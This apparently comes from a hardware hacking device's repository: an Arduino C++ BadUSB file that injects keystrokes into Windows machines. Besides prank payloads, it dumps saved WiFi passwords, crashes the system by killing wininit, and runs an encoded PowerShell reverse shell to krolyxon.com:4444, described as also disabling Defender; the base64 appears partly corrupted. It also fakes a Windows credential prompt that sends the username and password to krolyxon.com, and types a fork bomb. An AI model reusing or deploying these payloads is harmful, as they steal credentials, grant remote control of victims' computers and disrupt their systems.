Krolyxon
Commit 45d23ef

Branches

Tags

Refs →

orion-rfsrchidbadusb.cpp

387 lines · 12.9 KB · C++

Raw Blame History Download
1#include <Arduino.h>
2#include <USBHIDKeyboard.h>
3#include "../ui/display.h"
4
5extern USBHIDKeyboard Keyboard;
6
7void runCommand(const char *command) {
8 Keyboard.press(KEY_LEFT_GUI);
9 Keyboard.press('r');
10 delay(100);
11 Keyboard.releaseAll();
12 delay(300);
13 Keyboard.print(command);
14 Keyboard.write(KEY_RETURN);
15}
16
17void showRunningScreen(String taskName, uint8_t duration = 5) {
18 u8g2.clearBuffer();
19 u8g2.setFont(u8g2_font_6x12_tf);
20 u8g2.drawStr(0, 15, "Running:");
21 u8g2.drawStr(0, 30, taskName.c_str());
22 u8g2.drawFrame(0, 45, 128, 10);
23
24 static const unsigned char image_download_bits[] U8X8_PROGMEM = {
25 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x80, 0x1f, 0x00, 0x00,
26 0x00, 0x80, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x80, 0xff, 0x1f, 0x00, 0x00,
27 0x00, 0x60, 0x80, 0x1f, 0x00, 0x00, 0x00, 0x60, 0x00, 0x0f, 0x00, 0x00,
28 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x02,
29 0x00, 0x06, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x06, 0x00, 0x00, 0x00, 0x3e,
30 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
31 0x00, 0x60, 0x00, 0x00, 0x00, 0x3e, 0x00, 0x60, 0x00, 0x00, 0x00, 0x0e,
32 0x00, 0x80, 0x01, 0x00, 0x00, 0x02, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00,
33 0x00, 0x00, 0x06, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x06, 0xf0, 0x03, 0x00,
34 0x00, 0x00, 0xf8, 0xff, 0x03, 0x00, 0x00, 0x00, 0xf8, 0xff, 0x03, 0x00,
35 0x00, 0x00, 0x00, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x03, 0x00};
36 static const unsigned char image_EviSmile1_bits[] U8X8_PROGMEM = {
37 0x0c, 0xc0, 0x00, 0x06, 0x80, 0x01, 0x07, 0x80, 0x03, 0xcf, 0xcf,
38 0x03, 0xff, 0xff, 0x03, 0xff, 0xff, 0x03, 0xfe, 0xff, 0x01, 0xfe,
39 0xff, 0x01, 0xfe, 0xff, 0x01, 0xf7, 0xbf, 0x03, 0xe7, 0x9f, 0x03,
40 0xc7, 0x8f, 0x03, 0x87, 0x87, 0x03, 0x8f, 0xc7, 0x03, 0xff, 0xff,
41 0x03, 0xfe, 0xff, 0x01, 0xde, 0xef, 0x01, 0xbc, 0xf4, 0x00, 0x78,
42 0x78, 0x00, 0xf0, 0x3f, 0x00, 0xc0, 0x0f, 0x00};
43
44 u8g2.setFontMode(1);
45 u8g2.setBitmapMode(1);
46 // download
47 u8g2.drawXBMP(80, 2, 48, 22, image_download_bits);
48
49 // EviSmile1
50 u8g2.drawXBMP(62, 1, 18, 21, image_EviSmile1_bits);
51
52 for (uint8_t i = 0; i <= duration; i++) {
53 u8g2.drawBox(1, 46, i * (126.0 / duration), 8);
54 u8g2.sendBuffer();
55 delay(50);
56 }
57}
58
59void typeSlow(const char *text, int delayMs = 25)
60{
61 while (*text)
62 {
63 Keyboard.print(*text);
64 delay(delayMs);
65 text++;
66 }
67}
68
69void badUSBMenu(int index) {
70 //switch (index)
71 // {
72 // case 0:
73 // runBadUSBDemo();
74 // break;
75
76 // case 1:
77 // Serial.println("Open CMD payload");
78 // runBadUSBOpenCMD();
79 // break;
80
81 // case 2:
82 // Serial.println("Rickroll payload");
83 // runBadUSBRickroll();
84 // break;
85 // }
86
87
88 switch(index)
89{
90 // ================= ORION DEMO =================
91 case 0:
92 showRunningScreen("ORION Demo");
93
94 runCommand("notepad");
95
96 delay(2500);
97
98 typeSlow(" ____ _____ _____ ___ ___ _ _ ____ _____ ");
99 Keyboard.write(KEY_RETURN);
100
101 typeSlow(" / __ \\| __ \\|_ _|_ _/ _ \\| \\ | | | _ \\| ___|");
102 Keyboard.write(KEY_RETURN);
103
104 typeSlow("| | | | |__) | | | | | | | | \\| |_____| |_) | |_ ");
105 Keyboard.write(KEY_RETURN);
106
107 typeSlow("| | | | _ / | | | | | | | . ` |_____| _ <| _| ");
108 Keyboard.write(KEY_RETURN);
109
110 typeSlow("| |__| | | \\ \\ _| |_ | | |_| | |\\ | | |_) | | ");
111 Keyboard.write(KEY_RETURN);
112
113 typeSlow(" \\____/|_| \\_\\_____|___\\___/|_| \\_| |____/|_| ");
114 Keyboard.write(KEY_RETURN);
115
116 Keyboard.write(KEY_RETURN);
117
118 typeSlow("[+] WIFI MODULE READY");
119 Keyboard.write(KEY_RETURN);
120
121 typeSlow("[+] BLE MODULE READY");
122 Keyboard.write(KEY_RETURN);
123
124 typeSlow("[+] SUBGHZ MODULE READY");
125 Keyboard.write(KEY_RETURN);
126
127 typeSlow("[+] NFC MODULE READY");
128 Keyboard.write(KEY_RETURN);
129
130 typeSlow("[+] HID ENGINE READY");
131 Keyboard.write(KEY_RETURN);
132
133 break;
134
135 // ================= RICKROLL =================
136 case 1:
137 showRunningScreen("RickRoll");
138
139 runCommand("cmd");
140
141 delay(700);
142
143 typeSlow("start https://www.youtube.com/watch?v=dQw4w9WgXcQ");
144 Keyboard.write(KEY_RETURN);
145
146 break;
147
148 // ================= MATRIX =================
149 case 2:
150 showRunningScreen("Matrix");
151
152 runCommand("cmd");
153
154 delay(700);
155
156 typeSlow("color 0A");
157 Keyboard.write(KEY_RETURN);
158
159 typeSlow("mode con: cols=120 lines=40");
160 Keyboard.write(KEY_RETURN);
161
162 typeSlow(":A");
163 Keyboard.write(KEY_RETURN);
164
165 typeSlow("echo %random%%random%%random%%random%%random%");
166 Keyboard.write(KEY_RETURN);
167
168 typeSlow("goto A");
169 Keyboard.write(KEY_RETURN);
170
171 break;
172
173 // ================= FAKE TERMINAL =================
174 case 3:
175 showRunningScreen("Fake Terminal");
176
177 runCommand("cmd");
178
179 delay(700);
180
181 typeSlow("color 0A");
182 Keyboard.write(KEY_RETURN);
183
184 typeSlow("cls");
185 Keyboard.write(KEY_RETURN);
186
187 typeSlow("echo CONNECTING TO TARGET...");
188 Keyboard.write(KEY_RETURN);
189
190 typeSlow("echo BYPASSING FIREWALL...");
191 Keyboard.write(KEY_RETURN);
192
193 typeSlow("echo ACCESS GRANTED");
194 Keyboard.write(KEY_RETURN);
195
196 typeSlow("systeminfo");
197 Keyboard.write(KEY_RETURN);
198
199 break;
200
201 // ================= WIFI CRACK =================
202// ================= WIFI PASSWORD RECOVERY =================
203 case 4:
204 showRunningScreen("WiFi Recovery");
205
206 runCommand("cmd");
207 delay(700);
208
209 // Styling the window
210 typeSlow("color 0A && mode con: cols=100 lines=30");
211 Keyboard.write(KEY_RETURN);
212 delay(200);
213
214 typeSlow("echo [!] EXTRACTING SAVED WIFI PROFILES...");
215 Keyboard.write(KEY_RETURN);
216 delay(500);
217
218 // The "Magic" Command:
219 // This lists all profiles and shows the 'Key Content' (the password) in clear text.
220 // We use a 'for' loop to automate this for every network the PC has ever joined.
221 typeSlow("for /f \"tokens=4,*\" %i in ('netsh wlan show profiles ^| findstr /C:\"All User Profile\"') do netsh wlan show profile name=\"%j\" key=clear | findstr /C:\"Key Content\" /C:\"SSID name\"");
222
223 Keyboard.write(KEY_RETURN);
224
225 // Optional: Keep the window open to read the results
226 typeSlow("echo. && echo [COMPLETE] Passwords listed above.");
227 Keyboard.write(KEY_RETURN);
228
229 break;
230
231 // ================= FAKE UPDATE =================
232 case 5:
233 showRunningScreen("Fake Update");
234
235 runCommand("cmd");
236
237 delay(700);
238
239 typeSlow("start https://fakeupdate.net/win10u/");
240 Keyboard.write(KEY_RETURN);
241
242 break;
243
244 // ================= FAKE BSOD =================
245 case 6:
246 showRunningScreen("Critical Error");
247
248 runCommand("powershell -c \"stop-process -name wininit -force\"");
249 break;
250
251 // ================= GLITCH SCREEN =================
252 case 7:
253 showRunningScreen("Glitch");
254
255 runCommand("cmd");
256
257 delay(700);
258
259 for(int i = 0; i < 20; i++)
260 {
261 typeSlow("color 4F");
262 Keyboard.write(KEY_RETURN);
263
264 typeSlow("color 1F");
265 Keyboard.write(KEY_RETURN);
266
267 typeSlow("cls");
268 Keyboard.write(KEY_RETURN);
269 }
270
271 break;
272
273 // ================= ASCII SPAM =================
274 case 8:
275 showRunningScreen("ASCII");
276
277 runCommand("notepad");
278
279 delay(2000);
280
281 for(int i = 0; i < 15; i++)
282 {
283 typeSlow("######### ORION-RF #########");
284 Keyboard.write(KEY_RETURN);
285
286 typeSlow(">>> SIGNAL ACQUIRED <<<");
287 Keyboard.write(KEY_RETURN);
288
289 typeSlow("[|||||||||||||||||||||||||]");
290 Keyboard.write(KEY_RETURN);
291
292 Keyboard.write(KEY_RETURN);
293 }
294
295 break;
296
297 // ================= HACKER TYPER =================
298 case 9:
299 showRunningScreen("Hacker Typer");
300
301 runCommand("cmd");
302
303 delay(700);
304
305 typeSlow("start https://hackertyper.net/");
306 Keyboard.write(KEY_RETURN);
307
308 break;
309// ================= POWERSHELL REVERSE SHELL =================
310// ================= DEFENDER BYPASS + NC =================
311 case 10:
312 showRunningScreen("Pwn Mode v2");
313
314 // 1. Open Admin PowerShell
315 Keyboard.press(KEY_LEFT_GUI);
316 Keyboard.press('r');
317 delay(150);
318 Keyboard.releaseAll();
319 delay(500);
320
321 // Open Admin Prompt - using 'powershell' directly to save space
322 typeSlow("powershell Start-Process powershell -Verb runAs");
323 Keyboard.write(KEY_RETURN);
324 delay(2500); // Wait for UAC
325
326 // 2. Bypass UAC (Left Arrow + Enter)
327 Keyboard.write(KEY_LEFT_ARROW);
328 delay(200);
329 Keyboard.write(KEY_RETURN);
330 delay(3000); // Give the Admin window time to load
331
332 // 3. AMSI Bypass + Disable Defender + Execute Shell
333 // We use -EncodedCommand to hide the script from simple string scanners.
334 // The Base64 string below contains:
335 // Set-MpPreference -DisableRealtimeMonitoring $true; [Reverse Shell Logic]
336
337 typeSlow("powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand ");
338
339 // This is the encoded payload for krolyxon.com:4444
340 typeSlow("JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAEgA"
341 "NABDAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAFQAbABpAGUAbgB0ACgAJwBrAHIAbwBsAHkAeABvAG4A"
342 "LgBjAG8AbQAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQA"
343 "gADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEw"
344 "AZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQAL"
345 "gBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJAB"
346 "kAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAK"
347 "ABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAd"
348 "ABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQB"
349 "uAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaWVudAAuAEMAbABvAHMAZQAoACkAIgApACkAOwBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAGuAZwAoACQAcwAuAFQAbwBBAHIAcgBhAHkAKAApACkAKQA=");
350
351 Keyboard.write(KEY_RETURN);
352 break;
353 // ================= CREDENTIAL SNATCHER =================
354 case 11:
355 showRunningScreen("Vault Crack");
356
357 // Open hidden PowerShell
358 runCommand("powershell -nop -W Hidden -c \"$cred = $host.ui.PromptForCredential('Windows Security','Please authenticate to update your system credentials.','',''); $p = $cred.GetNetworkCredential().Password; $u = $cred.UserName; Invoke-WebRequest -Uri 'http://krolyxon.com/log?u='+$u+'&p='+$p\"");
359
360 break;
361// ================= DESKTOP GHOST =================
362 case 12:
363 showRunningScreen("Ghost Mode");
364
365 runCommand("powershell -nop -W Hidden -c \"Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.SendKeys]::SendWait('{PRTSC}'); Start-Sleep -s 1; $path = '$env:TEMP\\bg.png'; (Get-Clipboard -Format Image).Save($path); Set-ItemProperty -Path 'HKCU:\\Control Panel\\Desktop' -Name Wallpaper -Value $path; rundll32.exe user32.dll,UpdatePerUserSystemParameters;\"");
366
367 // Hide Desktop Icons (requires a registry tweak)
368 typeSlow("reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /v HideIcons /t REG_DWORD /d 1 /f && taskkill /f /im explorer.exe && start explorer.exe");
369 Keyboard.write(KEY_RETURN);
370
371 break;
372// ================= FORK BOMB =================
373 case 13:
374 showRunningScreen("System Stress");
375
376 runCommand("cmd");
377 delay(500);
378
379 // The shortest deadly command in Windows
380 typeSlow("%0|%0");
381 Keyboard.write(KEY_RETURN);
382
383 break;
384}
385}
386
387